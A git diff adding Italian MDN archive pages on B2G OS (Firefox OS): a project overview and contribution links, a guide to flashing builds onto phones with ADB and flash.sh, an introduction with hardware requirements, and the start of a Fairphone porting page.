+<p>per eseguire sia gjslint che jshint. Oppure puoi eseguire:</p>
+
+<pre class="brush: bash">$ make hint</pre>
+
+<p>per eseguire solamente jshint.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Se vuoi installare JSHint da te stesso, senza utilizzare Gaia, puoi utilizzare i seguenti comandi:</p>
+
+<pre class="brush: bash">npm install jshint -g
+jshint myfile.js
+</pre>
+</div>
+
+<p> </p>
diff --git a/files/it/archive/b2g_os/index.html b/files/it/archive/b2g_os/index.html
new file mode 100644
index 0000000000..eab7788bec
--- /dev/null
+++ b/files/it/archive/b2g_os/index.html
@@ -0,0 +1,136 @@
+---
+title: B2G OS
+slug: Archive/B2G_OS
+tags:
+  - B2G
+  - B2G OS
+  - Basic
+  - Gaia
+  - Gecko
+  - Gonk
+  - Mozilla
+  - Overview
+  - b2g smartphone os
+translation_of: Archive/B2G_OS
+---
+<div class="summary"><span class="seoSummary">B2G OS è un sistema operativo completo ed indipendente per il web aperto. Si tratta di un progetto sviluppato dalla comunità degli utenti di Mozilla e costituisce la base dei prodotti Firefox OS.</span></div>
+
+<p><strong>B2G OS </strong>è un sistema operativo open-source mantenuto dalla comunità per smartphone, tablet, smart TV e altri dispositivi connessi.<span class="author-a-z71zt3wnkz81zqxz74zz71zncvld"> Il progetto </span><a href="https://wiki.mozilla.org/Booting_to_the_Web">nasce</a><span class="author-a-z71zt3wnkz81zqxz74zz71zncvld"> nel 2011 ed è basato sul kernel Linux e sul motore di rendering Gecko. L'intera interfaccia utente è costruita usando tecnologie web quali HTML, CSS e Javascript e può essere usato per lanciare ed utilizzare </span><a href="/en-US/Apps">applicazioni web</a><span class="author-a-z71zt3wnkz81zqxz74zz71zncvld">.  Da quando Mozilla ha <a href="https://discourse.mozilla-community.org/t/firefox-os-connected-devices-announcement/6864">interrotto</a> i</span><span class="author-a-z71zt3wnkz81zqxz74zz71zncvld">l suo programma commerciale di diffusione di smartphone Firefox OS, il lato smartphone del progetto è interamente mantenuto dai volontari della comunità con il nome di B2G OS.</span></p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13140/B2g_wordmark.png" style="display: block; margin: 0 auto;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: Una <a href="https://wiki.mozilla.org/B2G/Transition_Project/Call_For_Contribution">chiamata alla cotribunzione</a> ed una <a href="https://discourse.mozilla-community.org/t/updated-9th-july-call-for-app-maintainers-adopt-an-app/9300/1">chiamata per l'adozione delle app</a> sono state realizzate per avvicinare ulteriori volontari, sentiti libero di condividerle!</p>
+</div>
+
+<div class="column-container">
+<div class="column-third">
+<h2 id="Come_aiutare">   Come aiutare</h2>
+
+<ul>
+ <li>Trova bug (il meta bug è <a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1252143" rel="nofollow">bug 1252143</a>)</li>
+ <li>Correggi bug</li>
+ <li>Aiutaci a sistemare i <a class="external text" href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Automated_testing" rel="nofollow">test automatici</a></li>
+ <li>Porta una <a href="https://mozilla-b2g.github.io/gaia/">app per smartphone</a> gaia:
+  <ol>
+   <li>facendola diventare una webapp;</li>
+   <li>o traducendola in chrome:// (<a href="https://discourse.mozilla-community.org/t/why-gaia-apps-are-turned-to-chrome/8011">perché?</a>) e dacci un report.<span style="display: none;"> </span><span style="display: none;"> </span><span style="display: none;"> </span></li>
+  </ol>
+ </li>
+ <li>Porta <a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">B2G OS sul tuo telefono</a> o aiuta a mantenere un porting esistente</li>
+ <li>Aiuta a correggere bug di Gecko</li>
+ <li>Aiuta a migliorare e tradurre questa documentazione ed il wiki</li>
+ <li>Proponi e implementa nuove funzionalità per smartphone</li>
+</ul>
+</div>
+
+<div class="column-third">
+<h2 id="Partecipa">   Partecipa</h2>
+
+<ul>
+ <li>Mailing list (<a class="external text" href="https://lists.mozilla.org/listinfo/dev-fxos" rel="nofollow">dev-fxos</a>)</li>
+ <li><a class="external text" href="https://wiki.mozilla.org/IRC" rel="nofollow">IRC</a> (irc.mozilla.org #fxos)</li>
+ <li><a class="external text" href="https://telegram.me/B2GOS" rel="nofollow">Discourse </a></li>
+ <li><a class="external text" href="https://telegram.me/B2GOS" rel="nofollow">Gruppo Telegram internazionale</a></li>
+ <li><a href="https://telegram.me/joinchat/ArC-Ywd5zeo-_qOty7aaBg">Gruppo Telegram italiano</a></li>
+ <li><a href="https://wiki.mozilla.org/B2G/Transition_Project/FAQ">Wiki del progetto</a></li>
+ <li><a class="external text" href="https://wiki.mozilla.org/B2G/Meeting" rel="nofollow">Meeting settimanali di B2G OS</a> per aggiornamenti sullo status del progetto</li>
+ <li>Issues tracker della documentazione su <a href="https://github.com/mozilla-b2g/B2GOS-community/issues">GitHub</a></li>
+ <li>Per partecipare ai meeting della comunità e a quelli dei Gruppi di lavoro registrati su questo <a href="https://calendar.google.com/calendar/embed?src=mozilla.com_2d3638353137343333373332@resource.calendar.google.com">Google Calendar</a>. Gli incontri vengono annunciati su <a href="https://discourse.mozilla-community.org/c/b2g-os-participation">Discourse</a>, dove troverai le informazioni su come partecipare e i relativi report</li>
+</ul>
+</div>
+
+<div class="column-third">
+<h2 id="Dispositivi_supportati">Dispositivi supportati</h2>
+
+<ul>
+ <li><a href="https://discourse.mozilla-community.org/t/building-b2g-os-for-aries-z3c/8082">Sony Xperia Z3C</a> (developer phone)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/flame-builds/8548">Flame</a> (developer phone)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/zte-open-c/8402">ZTE Open C</a></li>
+ <li><a href="https://discourse.mozilla-community.org/t/test-b2gos-on-nexus-5/9405/1">Nexus 5</a></li>
+ <li>WileyFox Swift</li>
+ <li>Nexus 4 (WIP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/fairphone-2-support-for-b2g-installer-landed/8334">Fairphone 2</a> (WIP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/support-for-amami-xperia-z1c-building-debugging-providing-builds/8348">Sony Xperia Z1C</a> (WIP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/b2g-os-flamingo-sony-xperia-e3-builds/8361">Sony Xperia E3</a> (WIP)</li>
+ <li><a href="https://discourse.mozilla-community.org/t/wip-xiaomi-redmi-1s-hongmi-1s/10273">Xiaomi Redmi 1S</a> (WIP)</li>
+</ul>
+
+<p>Per maggiori informazioni consulatare questa <a href="/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">pagina</a>.<br>
+ Installa facilmente B2GOS sul tuo dispositivo con <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS/B2G_installer_add-on">B2G installer</a>.<br>
+ <strong>Il tuo dispositivo non è nella lista</strong>? Prova <a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Mulet">Mulet</a> sul tuo desktop.</p>
+</div>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: alcune pagine sono state spostate nell'<a href="/en-US/docs/Archive/Firefox_OS">Archivio MDN </a>— facci sapere se riscontri difficoltà a trovare qualcosa, o se individui qualcosa nell'archivio che ritieni debba essere ritrasferito in questa sezione.</p>
+</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="https://developer.mozilla.org/it/docs/Mozilla/B2G_OS/Building_and_installing_Firefox_OS">Compilazione e installazione</a>
+
+  <ol>
+   <li><a href="https://developer.mozilla.org/it/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">Panoramica su compilazione e installazione</a></li>
+   <li><a href="/it/docs/Mozilla/B2G_OS/Building_and_installing_Firefox_OS/Sommario_del_processo_di_compilazione_di_B2G_OS">Sommario del processo di compilazione di B2G OS</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/B2G_OS_build_prerequisites">Prerequisiti per la compilazione</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Preparing_for_your_first_B2G_build">Preparare la tua prima compilazione</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building">Compilare B2G OS</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_installer_add-on">Add-on per la compilazione di B2G OS</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Building_for_Flame_on_OS_X">Compilare B2G OS per Flame su Mac OS X</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Choosing_how_to_run_Gaia_or_B2G">Scegliere come eseguire Gaia e B2G OS</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_Build_Variables_Reference_Sheet">Foglio di riferimento per le variabili di compilazione di B2G OS</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices">Dispositivi compatibili</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Installing_on_a_mobile_device">Installare B2G OS su dispositivo mobile</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS/B2G_OS_update_packages">Creare e applicare pacchetti di aggiornamento per B2G OS</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building/FOTA_community_builds">Compilare e installare aggiornamenti via Internet prodotti dalla comunità (FOTA)</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Portabilità di B2G OS</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS">Panoramica sulla portabilità</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/basics">Basi della portabilità</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Porting_B2G_OS/Porting_on_CyanogenMod">Portabilità su CyanogenMod</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Sviluppare Gaia</a>
+  <ol>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia">Panoramica sullo sviluppo di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Running_the_Gaia_codebase">Eseguire il codice base di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Mulet">Esegui Gaia su desktop usando Mulet</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Understanding_the_Gaia_codebase">Comprendere il codice base di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Making_Gaia_code_changes">Modificare il codice di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Testing_Gaia_code_changes">Verificare le modifiche al codice di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Submitting_a_Gaia_patch">Inviare una patch di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Build_System_Primer">Sistema di compilazione primario di Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Different_ways_to_run_Gaia">Differenti modi per eseguire Gaia</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/make_options_reference">Riferimenti per le opzioni di Make</a></li>
+   <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Developing_Gaia/Gaia_tools_reference">Riferimenti per gli strumenti di Gaia</a></li>
+  </ol>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/API">API di B2G OS</a></li>
+</ol>
diff --git a/files/it/archive/b2g_os/installare_su_un_dispositivo_mobile/index.html b/files/it/archive/b2g_os/installare_su_un_dispositivo_mobile/index.html
new file mode 100644
index 0000000000..10c0384a89
--- /dev/null
+++ b/files/it/archive/b2g_os/installare_su_un_dispositivo_mobile/index.html
@@ -0,0 +1,136 @@
+---
+title: Come installare Firefox OS su un dispositivo mobile
+slug: Archive/B2G_OS/Installare_su_un_dispositivo_mobile
+translation_of: Archive/B2G_OS/Installing_on_a_mobile_device
+---
+<div class="summary">
+<p><span class="seoSummary">Dopo avere compilato "Boot to Gecko" per uno dei <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites#Have_a_compatible_device_or_use_an_emulator">dispositivi supportati, </a> puoi installare Firefox OS. Questa articolo ti guiderà nel processo.</span></p>
+</div>
+
+<div class="note"><strong>Nota:</strong> La prima volta che effettuerai il flash al tuo cellulare, questo <strong>deve</strong> avere Android 4 (Ice Cream Sandwich) installato, altrimenti il processo non andrà a buon fine. Una volta effettuata la prima installazione di B2G, si potrà quindi aggiornare alle versioni successive.</div>
+
+<div class="note"><strong>Nota: </strong>Per alcuni dispositivi (per es. Flame) è possibile saltare l'intero processo di compilazione. Vedere <a href="https://developer.mozilla.org/en-US/Firefox_OS/Phone_guide/Flame/Updating_your_Flame">questa guida</a> per maggiori informazioni.</div>
+
+<h2 id="Installare_ADB">Installare ADB</h2>
+
+<p><strong>Su OSX</strong></p>
+
+<p>Se hai Homebrew :</p>
+
+<pre>brew install android-platform-tools</pre>
+
+<p>Altrimenti scarica l'Android Developer Tools e aggiungi i sorgenti al tua PATH.</p>
+
+<p><strong>Su Ubuntu</strong></p>
+
+<pre>sudo apt-get install android-tools-adb</pre>
+
+<h2 id="Effettuare_il_flash_al_tuo_cellulare">Effettuare il flash al tuo cellulare</h2>
+
+<p>Per effettuare il flash al tuo cellulare, semplicemente connetti il tuo dispositivo e digita:</p>
+
+<pre>./flash.sh
+</pre>
+
+<p>Fatto! Adesso il B2G che avevi compilato si installerà nel tuo dispositivo.</p>
+
+<p>Nota che se avevi effettuato precedenti installazioni di Gaia potresti aver bisogno anche di scrivere:</p>
+
+<pre class="brush: bash">cd gaia
+make reset-gaia</pre>
+
+<p>Questo cancellerà sia tutti i tuoi dati memorizzati in Gaia, sia anche le impostazioni e le preferenze obsolete di Gaia in modoo da effettuare una installazione pulita. Teoricamente <code>./flash.sh</code> dovrebbe fare tutto questo automaticamente ma per alcuni dispositivi, come hamachi, <code>./flash.sh</code> effettua il flash solo ad alcuni moduli (<code>./flash.sh -f</code> farà effettuare il flash a tutto.)</p>
+
+<h3 id="Configurare_le_regole_udev_rule_per_il_tuo_dispositivo">Configurare le regole udev rule per il tuo dispositivo</h3>
+
+<p>Su Linux se ricevi questo messaggio</p>
+
+<pre>&lt; waiting for device &gt;</pre>
+
+<p>significa che probabilmente non hai aggiunto una udev rule per l'avvio veloce del dispositivo (che per ADB non è lo stesso), oppure significa che hai semplicemente bisogno di far partire ./flash.sh con "sudo". Puoi ottenere l'USB vendor ID con "<code>lsusb"</code>, ma di solito è quello di Google: 18d1, quindi aggiungendo la riga successiva in <code>/etc/udev/rules.d/51-android.rules</code> dovrebbe funzionare:</p>
+
+<pre>SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"</pre>
+
+<div class="note"><strong>Note:</strong> Se su linux ottieni l'errore <code>libusb</code>  error "-3" significa che per avere l'accesso al dispositivo USB devi essere root. Esegui di nuovo lo script usando Sudo.</div>
+
+<div class="note"><strong>Note 2</strong>: Se possiedi un Unagi o un Geeksphone Keon, ti servono due linee: una per l'ID del Vendor del telefono e una per l'ID di Google.</div>
+
+<h3 id="Note_speciali_per_dispositivi_Hamachi_Helix_e_Leo">Note speciali per dispositivi Hamachi, Helix e Leo</h3>
+
+<p>Se il tuo telefono è un dispositivo hamachi, helix o leo, lo script ./flash.sh al momento eseguirà il flash solamente per gecko e gaia.  It is recommended that you flash with the OEM as a base build to get the firmware and the gonk layers and then flash the gecko and gaia on top.  If you want to flash using the images, there is an override flash where you can ./flash.sh -f and it will use the image files to flash your device.</p>
+
+<h3 id="Special_notes_for_the_Samsung_Galaxy_S2">Special notes for the Samsung Galaxy S2</h3>
+
+<p>If your phone is a Galaxy S2 and you are using heimdall 1.3.2 (the latest version; use <code>heimdall version</code> to check), you may see an alarming error "FACTORYFS upload failed!" followed by "Heimdall flashing failed" and some additional information. This is actually a success condition, and you can ignore the advice.</p>
+
+<p>To get rid of this strange behavior, grab a <a class="link-https" href="https://github.com/Benjamin-Dobell/Heimdall" title="https://github.com/Benjamin-Dobell/Heimdall">source copy</a> of heimdall, downgrading to the 1.3.1 release ("<code>git checkout fbbed42c1e5719cc7a4dceeba098981f19f37c06</code>"), then compile it  according to the <code>README</code>, then install that to make the error go away. However, this isn't strictly necessary.</p>
+
+<p>All versions of heimdall are unable to flash a system.img larger than 100MB. Do:</p>
+
+<pre>ls -l ./out/target/product/galaxys2/system.img
+</pre>
+
+<p>to see how big yours is. If it's too large, ask in IRC for advice; there are ways to do it in two stages.</p>
+
+<h2 id="Added_step_for_the_Samsung_Galaxy_S2">Added step for the Samsung Galaxy S2</h2>
+
+<p>If you're flashing onto the Galaxy S2, there is an additional step to follow. Gaia does not get flashed automatically by the <code>flash.sh</code> script; you'll need to also do:</p>
+
+<pre>./flash.sh gaia
+</pre>
+
+<h2 id="Flashing_specific_partitions_to_fastboot_phones">Flashing specific partitions to fastboot phones</h2>
+
+<p>You can flash specific partitions to fastboot phones (that is, any phone other than the Samsung Galaxy S2). For example:</p>
+
+<pre>./flash.sh system
+./flash.sh boot
+./flash.sh user
+</pre>
+
+<p><strong>WARNING</strong>: flashing user (at least) may delete your user-specific data (contacts, etc.).</p>
+
+<h2 id="Updating_specific_modules">Updating specific modules</h2>
+
+<p>You can update specific components of B2G by specifying their names when flashing. For example:</p>
+
+<pre>./flash.sh gaia
+./flash.sh gecko
+</pre>
+
+<p>In order to update only one application you can use BUILD_APP_NAME environment variable:</p>
+
+<pre>BUILD_APP_NAME=calendar ./flash.sh gaia</pre>
+
+<p>If your phone is not for developer (you aren't interested on test apps and/or require optimization), you can update gaia using:</p>
+
+<pre>VARIANT=user ./flash.sh gaia</pre>
+
+<h2 id="Next_steps">Next steps</h2>
+
+<p>At this point, your phone should be running Boot to Gecko! It's time to experiment, <a href="/en-US/docs/Mozilla/Firefox_OS/Application_development" title="en-US/docs/Mozilla/Firefox_OS/Application_development">write some code</a>, <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="en-US/docs/Mozilla/Firefox_OS/Platform/Testing">test</a>, or <a href="/en-US/docs/Mozilla/Firefox_OS/Debugging" title="en-US/docs/Mozilla/Firefox_OS/Debugging">do some debugging</a>!</p>
+
+<div class="note"><strong>Note:</strong> A helpful usage tip: if your build of B2G starts up with the lock screen requesting a pass code to unlock the phone, the default code is 0000.</div>
+
+<h2 class="note" id="Troubleshooting">Troubleshooting</h2>
+
+<p>Here are a some tips for what to do if your device doesn't work right after installing B2G, or updating it to a new version</p>
+
+<h3 class="note" id="If_the_UI_doesnt_start_up">If the UI doesn't start up</h3>
+
+<p>If you update your phone and the user interface doesn't start up, you can reset it to clear out out-of-date configuration and the like. This may bring it back to life, but note that it may also delete your user-specific data (contacts, etc.). Here's how:</p>
+
+<pre>cd gaia
+make reset-gaia
+</pre>
+
+<h3 class="note" id="If_you_want_change_from_developer_to_production_mode">If you want change from developer to production mode</h3>
+
+<pre>cd gaia
+make reset-gaia PRODUCTION=1</pre>
+
+<p><strong>WARNING</strong>: reset-gaia may delete your user-specific data (contacts, etc.).</p>
+
+<h3 class="note" id="image_is_too_large_error_message_on_.flash.sh_execution">"image is too large" error message on ./flash.sh execution</h3>
+
+<p>It might mean that you phone needs to be rooted first before flashing it. As b2g needs to be written on root partition, your phone needs to be rooted in order to install it.</p>
diff --git a/files/it/archive/b2g_os/introduction/index.html b/files/it/archive/b2g_os/introduction/index.html
new file mode 100644
index 0000000000..309e25034c
--- /dev/null
+++ b/files/it/archive/b2g_os/introduction/index.html
@@ -0,0 +1,67 @@
+---
+title: Introduzione a Firefox OS
+slug: Archive/B2G_OS/Introduction
+tags:
+  - B2B
+  - Firefox OS
+translation_of: Archive/B2G_OS/Introduction
+---
+<p><strong>Firefox OS</strong> (conosciuto anche attraverso il suo nome in codice "Boot to Gecko" o "B2G") è il sistema operativo mobile, di Mozilla, basato su Linux e la tecnologia Gecko di Mozilla. Firefox OS è un sistema operativo mobile senza tecnologie proprietarie ... che fornisce, agli svilupparoti di applicazioni, l'opportunità di creare prodotti eccellenti. In più, Firefox OS è flessibile ed abbstanza potente da rendere sodisfatti i suoi utilizzatori.</p>
+<p>Per gli sviluppatori Web, la parte più importante, da comprendere, e che l'intera interfaccia utente è un'applicazione Web, capace di eseguire e visualizzare altre applicazioni Web. Qualsiasi modifica all'interfaccia utente ed ogni applicazione, creata per essere eseguita su Firefox OS, sono pagine Web, con un accesso avanzato ai servizi ed all'hardware del dispositivo mobile.</p>
+<p>Puoi imparare come costruire ed installare Firefox OS <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">seguendo la nostra guida pratica</a>.<br>
+  </p>
+<h4 id="Requisisti_Hardware"><span style="font-family: Georgia, Times, 'Times New Roman', serif; font-size: 1.628em; line-height: inherit;">Requisisti Hardware</span></h4>
+<p>La maggior parte dei recenti dispositivi mobili, bassati su processori di tipo ARM, sono sufficientemente potenti da supportare l'installazione di Firefox OS</p>
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Component</th>
+   <th scope="col">Minimum</th>
+   <th scope="col">Recommended</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">CPU</th>
+   <td>ARMv6</td>
+   <td>Classe Cortex A5 oppure ( ancor meglio )<br>
+    ARMv7a with NEON</td>
+  </tr>
+  <tr>
+   <th scope="row">GPU</th>
+   <td>—</td>
+   <td>Adreno Adreno 200 o migliore</td>
+  </tr>
+  <tr>
+   <th scope="row">Connectivity</th>
+   <td>—</td>
+   <td>WiFi<br>
+    3G</td>
+  </tr>
+  <tr>
+   <th scope="row">Sensors</th>
+   <td>—</td>
+   <td>Accelerometro<br>
+    Sensore di Prossimità<br>
+    Sensore luminoso<br>
+    A-GPS</td>
+  </tr>
+ </tbody>
+</table>
+<p>Per una migliore esperienza utente è un'ottima idea scegliere un dispositivo che offre un profilo colore uniforme ( implementato da un driver per dispositivi grafici ) e supporto per cuffie/auricolari per l'attivazione e la disattivazione e per eseguire, mettere in pausa o fermare contenuti media. Queste funzionalità sono comuni in quasi tutti i moderni smarphone. </p>
+<h2 id="Pulsanti_e_controlli">Pulsanti e controlli</h2>
+<p>Un tipico dispositivo con Firefox OS  ha un piccolo numero di pulsanti fisici:</p>
+<dl>
+ <dt>
+  Pulsante Home</dt>
+ <dd>
+  Questo pulsante, generalmente, si trova al centro, sotto il display. Premendolo ritorneremo al menù principale ( o app-launcher ). Tenendolo premuto si aprirà la vista con la quale visualizzare le applicazioni in esecuzione;  per chiudere/terminare un'applicazione basterà poggiarvi il dito e poi "strisciarla" verso l'alto.</dd>
+ <dt>
+  Pulsante per il controllo volume</dt>
+ <dd>
+  Lungo la parte sinistra c'è il pulsante per il controllo volume; premendo la metà, in alto, del pulsante si aumenterà il volume e premendo l'altra metà, in basso, il volume diminuirà.</dd>
+ <dt>
+  Pulsante di accensione</dt>
+ <dd>
+  Nell'angolo in alto a destra, del dispositivo, si trova il pulsante di accensione/spegnimento.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/phone_guide/fairphone/index.html b/files/it/archive/b2g_os/phone_guide/fairphone/index.html
new file mode 100644
index 0000000000..f7dee28295
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/fairphone/index.html
@@ -0,0 +1,184 @@
+---
+title: Fairphone
+slug: Archive/B2G_OS/Phone_guide/Fairphone
+tags:
+  - B2G
+  - Dispositivo
+  - Equo solidale
+  - Fairphone
+  - Firefox OS
+  - Gaia
+  - Guida
+  - Telefono
+translation_of: Archive/B2G_OS/Phone_guide/Fairphone
+---
+<div class="warning">
+<p><strong>Attenzione</strong>: <span id="result_box" lang="it"><span class="hps">Questo dispositivo</span> <span class="hps">non è ancora in grado di eseguire</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span class="hps">, ma</span> <span class="hps">questo è</span> <span class="hps">l'obiettivo finale</span><span>.</span> <span class="hps">Questa pagina</span> <span class="hps">vuole essere il</span> <span class="hps">punto</span> <span class="hps">centrale per le informazioni</span> <span class="hps">per la comunità per</span> <span class="hps">coordinare il lavoro</span> <span class="hps">di </span>portabilità</span><span lang="it"><span>.</span></span></p>
+</div>
+
+<p class="summary"><span id="result_box" lang="it"><span class="hps">Il</span> </span><a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone</a> <span lang="it"> <span class="hps">è uno smartphone</span> basato sull'<span>economia equa</span> nei riguardi del<span class="hps">l'approvvigionamento</span><span>, della</span> <span class="hps">produzione, della distribuzione</span><span class="atn">, dell'auto-</span><span>riparazione</span> <span class="hps">e del riciclaggio</span> <span class="hps">dell'elettronica</span><span>.</span> <span class="hps">Non utilizza</span> <span class="hps">hardware completamente</span> <span class="hps">FOSS</span><span>,</span> <span class="hps">ma supporta</span> <span class="hps">l'ideale di</span> <span class="hps">restituire</span> <span class="hps">un minimo di controllo</span> <span class="hps">hardware</span> <span class="hps">ai suoi utenti</span><span>.</span></span></p>
+
+<h2 id="Informazioni_sulla_distribuzione_del_dispositivo">Informazioni sulla distribuzione del dispositivo</h2>
+
+<p><a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone</a><span lang="it"> <span class="hps">ha rilasciato</span> <span class="hps">due dispositivi</span> <span class="hps">finora</span> </span>—<span lang="it"> <span class="hps">il</span> <span class="hps">Fairphone</span> <span class="hps">v1</span> </span><em>FP1</em><span lang="it"><span class="atn hps"> (</span><span>prima</span> <span class="hps">edizione)</span> <span class="hps">è stato rilasciato il</span> <span class="hps">30 dicembre 2013</span> <span class="hps">e</span> il </span><em>FP1U</em><span lang="it"> <span class="atn hps">(</span><span>secondo lotto</span><span>) è stato</span> <span class="hps">rilasciato il</span> <span class="hps">22 luglio</span> <span class="hps">2014.</span> <span class="hps">Le vendite sono</span> <span class="hps">ormai</span> <span class="hps">giunte alla conclusione </span><span class="hps">per il dispositivo</span> <span class="hps">v1</span><span class="hps">.</span> <span class="hps">Il</span> <span class="hps">Fairphone</span> v2 <span class="hps">stato rilasciato il</span> <span class="hps">16 luglio 2015</span> <span class="hps">e può essere ordinato</span> <span class="hps">da</span> </span><a class="tgwf_green" href="https://www.fairphone.com/fairphone/">Fairphone</a><span lang="it"><span>.</span></span></p>
+
+<table class="standard-table" style="width: 100%;">
+ <thead>
+  <tr>
+   <th scope="col">Fairphone v1</th>
+   <th scope="col">Fairphone v2</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="width: 50%;"><img alt="A picture of the Fairphone v1 device, showing lockscreen and the back. Credit : Fairphone. CC BY-NC-SA." src="https://mdn.mozillademos.org/files/10253/FairPhone-v1-Screen-2.jpg" style="float: left; height: 376px; margin-bottom: 20px; margin-right: 20px; width: 100%;"></td>
+   <td style="width: 50%;"><img alt="Fairphone 2 Black Matte" id="big-image" src="http://shop.fairphone.com/media/catalog/product/cache/2/image/445x/602f0fa2c1f0d1ba5e241f914e856ff9/f/r/front-and-back.png" style="height: 100px; width: 100%;" title="Fairphone 2 Black Matte"></td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota:</strong><span lang="it"><span class="hps"> è possibile</span> <span class="hps">seguire</span> <span class="hps">lo stato di avanzamento</span> <span class="hps">sul <a class="tgwf_green" href="https://www.fairphone.com/blog">blog di Fairphone</a></span> <span class="hps">e controllare</span> <span class="hps">la <a href="https://www.fairphone.com/2014/11/04/next-chapter-in-fairphones-strategy-outlook-for-2015/">strategia</a> annunciata</span> <span class="hps">e l'<a class="tgwf_green" href="https://www.fairphone.com/2015/02/12/our-approach-to-developing-the-next-fairphone/">approccio</a></span><span>.</span></span></p>
+</div>
+
+<h2 id="La_portabilità_di_Firefox_OS_per_il_dispositivo_Fairphone"><span id="result_box" lang="it"><span class="hps">La </span>portabilità</span><span lang="it"> <span class="hps">di Firefox</span> <span class="hps">OS per</span> <span class="hps">il</span> <span class="hps">dispositivo</span> <span class="hps">Fairphone</span></span></h2>
+
+<p>Non è ancora disponibile<span class="short_text" id="result_box" lang="it"><span>,</span> <span class="hps">ma si</span> <span class="hps">sta lavorando in questa direzione.</span></span></p>
+
+<h3 id="Problemi_reali">P<span class="short_text" id="result_box" lang="it"><span class="hps">roblemi</span> <span class="hps">reali</span></span></h3>
+
